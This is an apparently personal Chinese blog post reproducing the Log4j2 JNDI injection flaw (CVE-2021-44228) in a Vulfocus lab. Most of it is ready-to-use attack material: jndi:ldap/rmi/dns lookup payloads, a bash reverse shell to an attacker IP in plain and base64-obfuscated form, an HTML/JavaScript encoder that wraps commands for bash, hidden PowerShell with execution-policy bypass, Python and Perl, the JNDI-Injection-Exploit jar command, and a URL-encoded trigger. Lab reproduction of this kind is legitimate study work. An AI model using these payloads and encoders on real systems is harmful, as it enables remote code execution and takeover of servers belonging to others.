【Vulfocus】log4j2-CVE-2021-44228

漏洞影响范围

Log4j2-2.0-beta9—Log4j2-2.15.0

漏洞原理

Log4j2默认支持解析ldap/rmi协议，会通过名称从ldap服务端其获取对应的Class文件，并使用ClassLoader在本地加载Ldap服务端返回的Class类。JNDI已经写过文章了这里不展开。

假如日志中含有该语句${jndi:ldap:192.168.1.105:1099/poc}，log4j就会去解析该信息，通过jndi的lookup()方法去解析该URL：ldap:192.168.1.105:1099/poc

漏洞复现

Vulfocus 搭建环境

漏洞探测

payload=${jndi:dns://n79xaf.dnslog.cn}

由于Runtime执行linux命令时管道符不生效，反弹shell所以需要将命令进行加密

bash -i >& /dev/tcp/192.168.1.103/9999 0>&1 

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAzLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}

我这里保存了加密的脚本，我忘记那个网站了

<!DOCTYPE html>
<html>
<head>
    <title>java runtime exec usage...</title>
</head>
<body>
    <p>Input type:
<input type="radio" id="bash" name="option" value="bash" onclick="processInput();" checked=""><label for="bash">Bash</label>
<input type="radio" id="powershell" name="option" value="powershell" onclick="processInput();"><label for="powershell">PowerShell</label>
<input type="radio" id="python" name="option" value="python" onclick="processInput();"><label for="python">Python</label>
<input type="radio" id="perl" name="option" value="perl" onclick="processInput();"><label for="perl">Perl</label></p>
 
    <p><textarea rows="10" style="width: 100%; box-sizing: border-box;" id="input" placeholder="Type Bash here..."></textarea>
<textarea rows="5" style="width: 100%; box-sizing: border-box;" id="output" onclick="this.focus(); this.select();" readonly=""></textarea></p>
 
<script>
  var taInput = document.querySelector('textarea#input');
  var taOutput = document.querySelector('textarea#output');
 
  function processInput() {
    var option = document.querySelector('input[name="option"]:checked').value;
 
    switch (option) {
      case 'bash':
        taInput.placeholder = 'Type Bash here...'
        taOutput.value = 'bash -c {echo,' + btoa(taInput.value) + '}|{base64,-d}|{bash,-i}';
        break;
      case 'powershell':
        taInput.placeholder = 'Type PowerShell here...'
        poshInput = ''
        for (var i = 0; i < taInput.value.length; i++) { poshInput += taInput.value[i] + unescape("%00"); }
        taOutput.value = 'powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ' + btoa(poshInput);
        break;
      case 'python':
        taInput.placeholder = 'Type Python here...'
        taOutput.value = "python -c exec('" + btoa(taInput.value) + "'.decode('base64'))";
        break;
      case 'perl':
        taInput.placeholder = 'Type Perl here...'
        taOutput.value = "perl -MMIME::Base64 -e eval(decode_base64('" + btoa(taInput.value) + "'))";
        break;
      default:
        taOutput.value = ''
    }
 
    if (!taInput.value) taOutput.value = '';
  }
 
  taInput.addEventListener('input', processInput, false);
</script>
 
</body>
</html>


JNDI注入

1.搭建JNDI服务

JNDI注入工具：JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar（github一查就有）

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "反弹shell命令" -A "该IP是开启JDNI服务的主机地址"

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAzLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.1.103"


2.监听端口接收shell

3.触发漏洞，利用漏洞地址去访问本地搭建的的JNDI服务

payload=${jndi:rmi://192.168.1.103:1099/fw7e09}

GET请求需要URL编码发送

payload=%24%7b%6a%6e%64%69%3a%72%6d%69%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%30%33%3a%31%30%39%39%2f%66%77%37%65%30%39%7d

触发后成功获取shell

posted @ 2022-06-04 18:45  九天揽月丶  阅读(341)  评论(0)  编辑  收藏  举报